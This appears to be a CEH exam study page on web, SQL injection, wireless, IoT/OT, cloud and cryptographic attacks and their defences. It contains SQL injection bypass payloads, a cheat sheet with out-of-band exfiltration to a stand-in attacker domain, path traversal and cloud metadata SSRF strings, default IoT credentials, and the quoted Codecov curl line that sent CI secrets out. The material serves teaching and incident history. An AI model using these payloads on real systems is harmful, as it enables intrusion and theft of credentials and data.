Skip to content

CEH Domain 3.C: Application, Web, Cloud, IoT & Crypto

CEH Domain 3.C: Application, Web, Cloud, IoT & Crypto

Section titled “CEH Domain 3.C: Application, Web, Cloud, IoT & Crypto”

CEH v12/v13 sub-domain 3.C covers everything above the OS/network layer: web apps, SQL backends, wireless, mobile/IoT/OT, cloud, and the cryptography that protects (or fails to protect) them. The lesson from 2014-2025 is that adversaries overwhelmingly win through well-known weakness classes, not zero-days.


3.C.1 Web Server & Web Application Attacks

Section titled “3.C.1 Web Server & Web Application Attacks”

The OWASP Top 10:2021 is the current industry baseline. The Top 10:2025 (RC published November 2025 at Global AppSec DC; final within 3-6 months) shifts the order and adds two categories.

# 2021 Category Representative Attack Tooling
A01 Broken Access Control IDOR, force browsing, JWT tampering Burp Suite, OWASP ZAP, ffuf
A02 Cryptographic Failures Cleartext storage, weak TLS, predictable tokens testssl.sh, sslyze, OpenSSL
A03 Injection (SQLi, NoSQLi, LDAP, OS cmd, XSS) ' OR 1=1--, template injection sqlmap, Burp, ZAP
A04 Insecure Design Missing rate limiting, no threat model Manual review, threat modeling
A05 Security Misconfiguration Verbose errors, default creds, XXE Nikto, nmap, ZAP
A06 Vulnerable & Outdated Components Log4Shell, Spring4Shell Snyk, OWASP Dependency-Check
A07 Identification & Auth Failures Credential stuffing, weak passwords Hydra, Burp Intruder
A08 Software & Data Integrity Failures Insecure deserialization, unsigned updates (SolarWinds) Sigstore, SBOM diff
A09 Security Logging & Monitoring Failures No alerting, slow MTTD Splunk, Sigma rules
A10 SSRF http://169.254.169.254/... (Capital One) SSRFmap, Burp Collaborator

2025 deltas: A02 Security Misconfiguration jumps from #5 to #2; A03 is now Software Supply Chain Failures (expanding 2021’s Vulnerable Components); SSRF is folded into A01 as outbound authorization; A10 is new - Mishandling of Exceptional Conditions. A07 is renamed “Authentication Failures” with explicit guidance to prefer phishing-resistant MFA (WebAuthn, passkeys) over TOTP/SMS.

Key takeaway: the three most exam-relevant 2021→2025 deltas are SSRF (Capital One), Insecure Design (threat modeling), and Software Supply Chain (Codecov, SolarWinds).

Web-server-class attacks (not application logic)

Section titled “Web-server-class attacks (not application logic)”
  • Path traversal - ../../etc/passwd
  • HTTP response splitting - CRLF injection into headers
  • HTTP request smuggling - desync between front-end proxy and back-end via Transfer-Encoding/Content-Length disagreement
  • Web cache poisoning - cache stores a poisoned response keyed to a victim URL
  • IIS/Apache/nginx misconfigs - HTTP PUT enabled, .htaccess overrides, default CGI

Tools: Burp Suite (proxy/repeater/intruder), OWASP ZAP (DAST), Nikto (server fingerprint + known-bad paths), sqlmap, wfuzz and ffuf (parameter fuzzing). Common stacks LAMP, WAMP, MEAN, .NET, Django share the same weakness classes - PHP path traversal, Node prototype pollution, .NET deserialization, Django debug mode.

Cross-cutting issues: XSS (Reflected / Stored / DOM - context-aware output encoding + CSP), CSRF (anti-CSRF tokens + SameSite cookies), IDOR (per-record server-side authz), XXE (disable DTD/external entities), SSRF (egress allow-list + IMDSv2 + network segmentation).

Source: https://owasp.org/Top10/2021/A00_2021_Introduction/ ; https://owasp.org/Top10/2025/0x00_2025-Introduction/ ; https://owasp.org/Top10/2021/A01_2021-Broken_Access_Control/ ; https://owasp.org/Top10/2021/A03_2021-Injection/


OWASP’s Web Security Testing Guide classifies SQLi into three classes and five exploitation techniques:

Class Technique How it works Indicator
In-band Error-based DBMS error contains data ' → 500 / XPATH syntax error
In-band UNION-based Inject UNION SELECT to append rows Column-count match; result in page
Inferential (Blind) Boolean AND 1=1 vs AND 1=2 True page vs false page
Inferential (Blind) Time-based SLEEP(5), WAITFOR DELAY, pg_sleep Response time
Out-of-band (OAST) OOB DB makes DNS/HTTP to attacker (e.g. xp_dirtree, UTL_HTTP) DNS callback to attacker domain

Authentication bypass is the canonical first proof. Legacy payloads: admin' OR '1'='1'--, admin'--, ' OR 1=1 LIMIT 1;--. Modern apps hash passwords, so a UNION-based bypass must supply the hash format the app expects - e.g. UNION SELECT 'admin','81dc9bdb52d04dc20036dbd8313ed055' with the MD5 of an attacker-chosen password.

Payload cheat sheet:

Goal MySQL MSSQL PostgreSQL Oracle
Comment out -- or # -- -- --
Stack queries Limited ; allowed ; allowed ; allowed
Force delay SLEEP(5) WAITFOR DELAY '0:0:5' pg_sleep(5) dbms_pipe.receive_message
Read file LOAD_FILE() OPENROWSET(BULK ...) pg_read_file() UTL_FILE
OOB exfil LOAD_FILE(CONCAT('\\\\',user,'.attacker.tld\\a')) xp_dirtree '\\\\attacker.tld\share' dblink UTL_HTTP.REQUEST

Tools: sqlmap (industry standard - automates detection/exploitation across all classes, supports tamper scripts for WAF bypass), jSQL Injection (Java GUI), Havij (point-and-click, Windows). WAF bypasses use comment toggling (/**/), case toggling, double-URL encoding, and equivalent operators (|| for OR).

Key takeaway: in 2025, ' OR 1=1–` rarely logs you in as anyone - the app compares hashes, not plaintext. A successful auth bypass via UNION must supply a credential column whose hash matches the hash of a password you chose.

Source: https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection ; https://portswigger.net/web-security/sql-injection/blind ; https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/README.md ; https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet


  • WEP - 24-bit IV; with ~40k-85k captured packets the PTW attack recovers a 128-bit key. Tools: airodump-ng + aireplay-ng ARP-replay injection, then aircrack-ng PTW/KoreK statistical recovery.
  • WPA/WPA2-PSK - only vulnerable to offline dictionary attack against a captured 4-way handshake. Handshake captured passively or accelerated with an aireplay-ng -0 deauth flood. A 12+ character random passphrase is computationally infeasible to crack.
  • KRACK (2017, CVE-2017-13077…13088) - Key Reinstallation Attack against the 802.11i 4-way handshake. The attacker forces a nonce reset by replaying message 3. Against AES-CCMP this enables packet decryption (not forgery); against TKIP/GCMP, full forgery. On Android 6.0+ with wpa_supplicant 2.4+ the attack installs an all-zero encryption key - catastrophic.
  • WPA3 / Dragonblood (2019) - Dragonfly/SAE was designed to defeat offline dictionary attacks. Vanhoef and Ronen found timing and cache side channels in the hash-to-element code path that leak password bits, plus downgrade-to-WPA2 attacks in transition mode. Brute-forcing a 10^10-entry dictionary on AWS GPU costs < $1.
  • Evil twin - same-SSID rogue AP; clients associate to strongest signal.
  • Rogue AP - unauthorized AP on the corporate LAN, bypassing NAC.
  • Deauthentication / disassociation - management-frame flood; used to capture WPA handshakes and DoS.
  • Wi-Fi phishing - captive portal or WPA-Enterprise credential capture (hostapd-wpe).

Tools: Aircrack-ng suite, Wifite, BetterCAP, Kismet, Wifiphisher.

Attack Vector Impact
BlueSmack L2CAP echo with oversized payload DoS (ping-of-death)
BlueJacking Send OBEX/vCard message Spam, phishing lure
BlueSnarfing OBEX PULL of telecom/pb.vcf etc. Theft of contacts, calendar, IMEI
BlueBugging AT-command backdoor Full device control, call/SMS interception
BlueBorne (2017) 8 CVEs across L2CAP/SDP/BNEP/LEAP - Linux/Android/Windows/iOS Wormable RCE, no user interaction

Source: https://www.krackattacks.com/ ; https://papers.mathyvanhoef.com/ccs2017.pdf ; https://eprint.iacr.org/2019/383 ; https://media.armis.com/pdfs/wp-blueborne-bluetooth-vulnerabilities-en.pdf ; https://www.aircrack-ng.org/doku.php?id=simple_wep_crack


The OWASP Mobile Top 10 (2024) ranks: M1 Improper Credential Usage, M2 Inadequate Supply Chain, M3 Insecure Auth, M4 Insufficient I/O Validation, M5 Insecure Communication, M6 Inadequate Privacy, M7 Insufficient Binary Protections, M8 Misconfiguration, M9 Insecure Data Storage, M10 Insufficient Cryptography.

Aspect Android iOS
Distribution Play Store + third-party + sideload App Store (EU DMA third-party marketplaces since 2024)
App isolation Linux UID + SELinux sandbox iOS appsandbox (Seatbelt) at kernel
Code signing APK signature; Play Integrity attestation Apple-mandatory signature + FairPlay
Patching Fragmented (manufacturer/carrier) Unified by Apple
Rooting/jailbreak Disables SELinux + sandbox Disables code signing, weakens Secure Enclave

Zimperium’s 2025 report: 23.5% of enterprise devices have sideloaded apps; 54% of iOS threats are mishing (SMS phishing). Defense: MDM (device policy + remote wipe + jailbreak detection), MAM (app containerization, per-app VPN), MTD (on-device network/app detection). A hardened app on a rooted device is still untrusted - device attestation is non-negotiable.

Mirai (2016) infected ~65,000 IoT devices in its first 20 hours, peaked at 200k-600k. Strategy:

  1. Stateless SYN scan of pseudo-random IPv4 on TCP/23 and TCP/2323.
  2. On a hit, brute-force Telnet with a 62-entry dictionary of well-known default credentials (root:xc3511 XiongMai, root:vizxv Dahua, admin:admin).
  3. Loader logs in, determines CPU arch, downloads a cross-compiled bot binary (ARM, MIPS, PowerPC, SPARC, SH4, m68k, x86).
  4. Bot kills competing processes, awaits CnC commands.

High-profile impact: Krebs on Security (~620 Gbps), OVH (~1 Tbps), Dyn DNS (Twitter/GitHub/Reddit offline, October 2016), Deutsche Telekom (~1M routers disrupted, November 2016). Variants - Satori, Okiru, Mukashi, Moobot, Sonic - add new exploits while keeping the Telnet brute-forcer. Other vectors: Shodan/Censys exposure of management UIs; MQTT (port 1883) without auth; CoAP (port 5683) over UDP without DTLS; default credentials remain dominant.

OT risk profile differs from IT: decades-long equipment lifetimes, protocols insecure by design (no auth, no integrity), patching constrained by safety/availability, compromise can mean physical destruction or loss of life.

Purdue Model: L0 sensors/actuators → L1 PLCs/RTUs → L2 HMI/SCADA → L3 IT/OT DMZ → L4 enterprise → L5 internet/cloud. The L3 DMZ is the most defended boundary.

Protocols: Modbus (1979, no auth), DNP3 (SCADA, secure auth v2 add-on), IEC-60870-5-104 (European grid), OPC-UA (modern but misconfigurable), Profinet/EtherNet/IP, Siemens S7Comm.

The seven known ICS-specific malwares:

Year Malware Target Impact
2010 Stuxnet Siemens S7-300/400 at Natanz ~1,000 centrifuges destroyed; 4 zero-days, signed driver theft, WinCC P2P
2014 Havex European/NA energy, SCADA vendors RAT in legitimate ICS software; OPC enum
2015 BlackEnergy2 Ukrainian power Spear-phishing → VPN abuse → HMI control; 3 oblenergos blacked out 6h
2016 Industroyer Ukrainian grid (Kyiv) First malware for grid protocols (IEC 101/104, 61850, OPC); 1 substation offline
2017 TRITON/TRISIS Triconex SIS (Schneider), Saudi petrochemical Targeted Safety Instrumented System - could have blocked safety shutdown
2022 Industroyer2 Ukrainian energy (high-voltage) Sandworm; IEC-104 wiper; foiled pre-impact
2022 PIPEDREAM/INCONTROLLER Schneider Modicon/Nano, Omron Sysmac NJ/NX, CODESYS, OPC-UA Dragos CHERNOVITE; first ever caught before deployment

Unique OT attack vectors for CEH: legacy unauthenticated protocols, inability to run AV, safety-criticality - anyone who can speak Modbus to a PLC can usually read/write any register once authenticated.

Source: https://attack.mitre.org/software/S0603/ ; https://hub.dragos.com/hubfs/116-Whitepapers/Dragos_ChernoviteWP_v2b.pdf ; https://zambo99.github.io/publication/industroyer2_incontroller2022/ ; https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-antonakakis.pdf ; https://owasp.org/www-project-mobile-top-10/ ; https://lp.zimperium.com/hubfs/Reports/2025%20Global%20Mobile%20Threat%20Report.pdf


  • Service models: IaaS (customer owns OS/app/data), PaaS (provider owns runtime), SaaS (provider owns almost everything).
  • Deployment: public, private, hybrid, community.
  • Shared responsibility: provider secures of the cloud; customer secures in the cloud. The line moves depending on the service model. Capital One is the canonical misunderstanding.
Threat Cloud-specific aspect Canonical incident
Storage misconfiguration Public S3 / Azure Blob / GCS Accenture, Verizon, US voter records, Twitch
IAM privilege escalation Over-broad roles; instance profile abuse Capital One 2019 - ISRM-WAF-Role with S3 list/read on 700+ buckets
Metadata service abuse (SSRF → IMDSv1) http://169.254.169.254/ returns STS creds unauthenticated Capital One 2019 - caused AWS to ship IMDSv2
Insecure APIs / token theft CI/CD secrets, OIDC trust Codecov 2021 - every customer’s CI env vars exfiltrated
Container/orchestration Unauthenticated K8s dashboard, privileged pods, RBAC misconfig Tesla 2018 - K8s console with no password; cryptojacked
Cloud malware injection Web shell, cryptominers via public images Tesla 2018 - Stratum Monero miner
Cloud-native supply chain Compromised build artifact SolarWinds 2020, Codecov 2021
  1. ModSecurity WAF on EC2 was misconfigured (logging-only / bypassable). The attacker sent crafted requests that the WAF relayed to itself.
  2. The WAF was pointed at http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role.
  3. IMDSv1 returned STS credentials for the attached role - no auth required.
  4. The role was over-provisioned: list + read on 700+ S3 buckets. ~30 GB / 106 M records exfiltrated.
  5. No GuardDuty, no S3 access-log monitoring - 77-day dwell time.

Fix: IMDSv2 (PUT to obtain a session token, then include the token on GET; refuses tokens for PUT with X-Forwarded-For; IP hop count of 1). Enforce via Service Control Policy. AWS shipped IMDSv2 in November 2019 in direct response to this breach.

RedLock scanning for exposed cloud infra found an unauthenticated Kubernetes admin console. A pod inside contained AWS creds in env vars, giving S3 access. The attacker deployed a Stratum Monero miner hidden behind Cloudflare, on a non-standard port, with throttled CPU to avoid detection. No customer data loss reported, but the canonical “console exposed + creds in env vars = cloud compromise.”

Codecov’s Bash Uploader was modified Jan 31 to Apr 1 2021 by an attacker who extracted a GCS key from a Docker image’s intermediate layer. The modified script appended curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" https://attacker/upload/v2 || true - exfiltrating every secret in every customer’s CI environment. >29,000 enterprise customers potentially affected. Replaced with a signed, SHASUM-verifiable binary.

Tool Status (2026) Best for
Prowler Actively maintained; 600+ AWS checks, 44 compliance frameworks AWS-first compliance scanning
ScoutSuite Last release May 2024; abandoned Avoid for new projects
CloudSploit Acquired by Aqua; minimal updates Oracle Cloud only
kube-hunter, kube-bench Active Kubernetes CIS benchmark
Pacu Active AWS exploitation framework (post-foothold)
CloudTrail / GuardDuty AWS native Audit + threat detection

Key takeaway: the three cloud breaches you must know in detail are Capital One (SSRF+IMDSv1+over-privileged IAM), Tesla (K8s console + creds in env vars), and Codecov (build-tool supply chain). Controls that defeat all three: enforce IMDSv2, least-privilege IAM, locked-down K8s RBAC, signed build artifacts.

Source: https://techearl.com/capital-one-breach-ssrf ; https://csoh.org/breaches/capital-one.html ; https://www.wired.com/story/cryptojacking-tesla-amazon-cloud/ ; https://about.codecov.io/security-update/ ; https://about.codecov.io/apr-2021-post-mortem/


Algorithm Type Key / Output Effective Strength Typical Use Status
DES Symmetric block 56-bit Broken (< 1999) Legacy Do not use
3DES (TDEA) Symmetric block 112/168-bit Deprecated (Sweet32) Legacy TLS Deprecated
AES-128 Symmetric block (SPN) 128-bit key, 128-bit block, 10 rounds 128-bit (secure) TLS, disk, file Recommended
AES-256 Symmetric block 256-bit key, 14 rounds 256-bit (post-quantum hedge) Top-secret, FDE Recommended
Blowfish Symmetric block 32-448-bit key, 64-bit block 64-bit block is the weak link Legacy Avoid for new design
Twofish Symmetric block 128-256-bit 128-256-bit AES finalist; OpenPGP Acceptable
RC4 Symmetric stream 40-2048-bit Broken (biases) Legacy WEP/TLS Forbidden
RSA Asymmetric Modulus ≥ 2048-bit (NIST min for ≥ 112-bit) 2048=112, 3072=128, 4096≈150 Key transport, signatures Recommended ≥ 2048; plan post-quantum
Diffie-Hellman (DH) Key agreement Group ≥ 2048-bit 112-bit at 2048 TLS key agreement Use DH-2048+ or ECDH
ECC (ECDH, ECDSA) Asymmetric P-256=128, P-384=192, P-521≈256 Matches RSA at smaller key TLS, mobile, IoT Recommended
ElGamal Asymmetric Variable Comparable to DH Legacy PGP variants Rare
MD5 Hash 128-bit Broken (collision trivial) Legacy integrity Do not use
SHA-1 Hash 160-bit Broken (SHAttered, 2017) Legacy code signing, Git Do not use for signatures
SHA-256 Hash (SHA-2) 256-bit 128-bit collision, 256-bit preimage TLS, code signing, Bitcoin Recommended
SHA-384 Hash (SHA-2) 384-bit 192-bit High-security TLS Recommended
SHA-512 Hash (SHA-2) 512-bit 256-bit High-assurance, fast on 64-bit Recommended
SHA-3 (Keccak) Hash (sponge) 224/256/384/512 Same as SHA-2 equivalent NIST FIPS 202 alternative Recommended
RIPEMD-160 Hash 160-bit ~80-bit collision Bitcoin address derivation Legacy

NIST targets (SP 800-131A Rev. 2): 112 bits until 2030, then 128. AES-128 / SHA-256 / RSA-3072 / ECDSA P-256 all hit the 128-bit target.

  • X.509 certificates bind a public key to an identity, signed by a CA.
  • Chain of trust - root CA → intermediate CA → leaf.
  • Revocation: CRL (periodically downloaded) and OCSP (real-time query); OCSP stapling improves performance.
  • Certificate Transparency (CT) logs are now required for browser-trusted public certs to detect mis-issue.
Attack Description Defeated by
Brute force Try every key ≥ 128-bit key
Birthday Find hash collision in ~2^(n/2) ≥ 256-bit hash for collision resistance
Man-in-the-middle Intercept and relay Authenticated key exchange, cert pinning, HSTS
Known-plaintext Recover key from pairs AES is not practically vulnerable
Chosen-ciphertext Submit chosen CT, observe decryption AEAD (AES-GCM, ChaCha20-Poly1305)
Side-channel Power/timing/cache/EM Constant-time code, masking
Downgrade Force weakest protocol/cipher TLS 1.3; TLS_FALLBACK_SCSV
Padding oracle Observe padding error AEAD; constant-time decryption
Replay Resend captured message Nonces, timestamps, session IDs

Named protocol attacks - one-sentence recall:

  • POODLE (CVE-2014-3566) - SSLv3 CBC padding not authenticated; byte-by-byte cookie decryption.
  • BEAST (2011) - chosen-plaintext attack on TLS 1.0 CBC.
  • Lucky13 (2013) - timing side-channel on CBC padding validation.
  • Heartbleed (CVE-2014-0160) - OpenSSL buffer over-read; leaked server private keys.
  • Logjam (2015) - 512-bit export-grade DH allows MITM.
  • ROBOT (2017) - RSA PKCS#1 v1.5 padding oracle in TLS.
  • Email: PGP / OpenPGP (web of trust, hybrid encryption) and S/MIME (X.509-based, corporate).
  • Disk / FDE: BitLocker (Windows, AES-128/256 XTS, TPM-bound), FileVault 2 (macOS, AES-XTS), LUKS (Linux, dm-crypt + AES). FDE only protects data at rest when the device is powered off - running machines have keys in memory.

Tools: OpenSSL (workhorse - s_client, genrsa, req, x509, enc, dgst), GnuPG (OpenPGP), age (modern file encryption), HashiCorp Vault (secrets + envelope encryption + HSM/KMS).

Key takeaway: AES-128 is the floor for symmetric security, SHA-256 for hashing. NIST finalized post-quantum standards in 2024 - ML-KEM (Kyber) FIPS 203, ML-DSA (Dilithium) FIPS 204, SLH-DSA (SPHINCS+) FIPS 205 - and “harvest now, decrypt later” makes PQC migration urgent for long-lived data.

Source: https://nvlpubs.nist.gov/nistpubs/specialpublications/nist.sp.800-131ar2.pdf ; https://csrc.nist.gov/projects/Hash-Functions ; https://nvlpubs.nist.gov/nistpubs/fips/nist.fips.197-upd1.pdf ; https://www.imperialviolet.org/2014/10/14/poodle.html ; https://cdn1.vox-cdn.com/uploads/chorus_asset/file/2354994/ssl-poodle.0.pdf


  1. OWASP Top 10:2021 Introduction - https://owasp.org/Top10/2021/A00_2021_Introduction/
  2. OWASP Top 10:2025 - https://owasp.org/Top10/2025/0x00_2025-Introduction/
  3. OWASP A01:2021 Broken Access Control - https://owasp.org/Top10/2021/A01_2021-Broken_Access_Control/
  4. OWASP A03:2021 Injection - https://owasp.org/Top10/2021/A03_2021-Injection/
  5. OWASP Web Security Testing Guide - SQL Injection - https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection
  6. PortSwigger Web Security Academy - Blind SQL Injection - https://portswigger.net/web-security/sql-injection/blind
  7. PayloadsAllTheThings - SQL Injection README - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/README.md
  8. Invicti SQL Injection Cheat Sheet - https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet
  9. Vanhoef & Piessens - Key Reinstallation Attacks (CCS 2017) - https://papers.mathyvanhoef.com/ccs2017.pdf
  10. KRACK Attacks paper site - https://www.krackattacks.com/
  11. CERT/CC VU#228519 - WPA2 key reinstallation - https://web.archive.org/web/20171018113511/http:/www.kb.cert.org/vuls/id/228519
  12. Vanhoef & Ronen - Dragonblood (WPA3 / Dragonfly) - https://eprint.iacr.org/2019/383
  13. Armis - BlueBorne white paper - https://media.armis.com/pdfs/wp-blueborne-bluetooth-vulnerabilities-en.pdf
  14. CERT/CC VU#240311 - BlueBorne - https://kb.cert.org/vuls/id/240311
  15. Aircrack-ng WEP cracking - https://www.aircrack-ng.org/doku.php?id=simple_wep_crack
  16. Antonakakis et al. - Understanding the Mirai Botnet (USENIX Security 2017) - https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-antonakakis.pdf
  17. Dragos - PIPEDREAM / CHERNOVITE white paper - https://hub.dragos.com/hubfs/116-Whitepapers/Dragos_ChernoviteWP_v2b.pdf
  18. Zambon - Industroyer2 & INCONTROLLER (2022) - https://zambo99.github.io/publication/industroyer2_incontroller2022/
  19. MITRE ATT&CK - Stuxnet (S0603) - https://attack.mitre.org/software/S0603/
  20. OWASP Mobile Top 10 (2024) - https://owasp.org/www-project-mobile-top-10/
  21. Zimperium - 2025 Global Mobile Threat Report - https://lp.zimperium.com/hubfs/Reports/2025%20Global%20Mobile%20Threat%20Report.pdf
  22. CSOH - Capital One breach kill chain - https://csoh.org/breaches/capital-one.html
  23. Tech-Earl - Capital One: SSRF and the AWS Metadata Service - https://techearl.com/capital-one-breach-ssrf
  24. ACM - A Systematic Analysis of the Capital One Data Breach - https://dl.acm.org/doi/10.1145/3546068
  25. Wired - Tesla cloud used for cryptojacking - https://www.wired.com/story/cryptojacking-tesla-amazon-cloud/
  26. Codecov - Bash Uploader Security Update - https://about.codecov.io/security-update/
  27. Codecov - Post-Mortem / Root Cause Analysis - https://about.codecov.io/apr-2021-post-mortem/
  28. Rapid7 - Analysis of the Codecov Supply Chain Compromise - https://www.rapid7.com/blog/post/2021/04/16/codecov-discloses-supply-chain-compromise/
  29. NIST SP 800-131A Rev. 2 - Cryptographic Algorithm Transitions - https://nvlpubs.nist.gov/nistpubs/specialpublications/nist.sp.800-131ar2.pdf
  30. NIST CSRC - Hash Functions - https://csrc.nist.gov/projects/Hash-Functions
  31. NIST FIPS 197 - Advanced Encryption Standard - https://nvlpubs.nist.gov/nistpubs/fips/nist.fips.197-upd1.pdf
  32. ImperialViolet - POODLE attacks on SSLv3 - https://www.imperialviolet.org/2014/10/14/poodle.html
  33. Möller, Duong, Kotowicz - This POODLE Bites - https://cdn1.vox-cdn.com/uploads/chorus_asset/file/2354994/ssl-poodle.0.pdf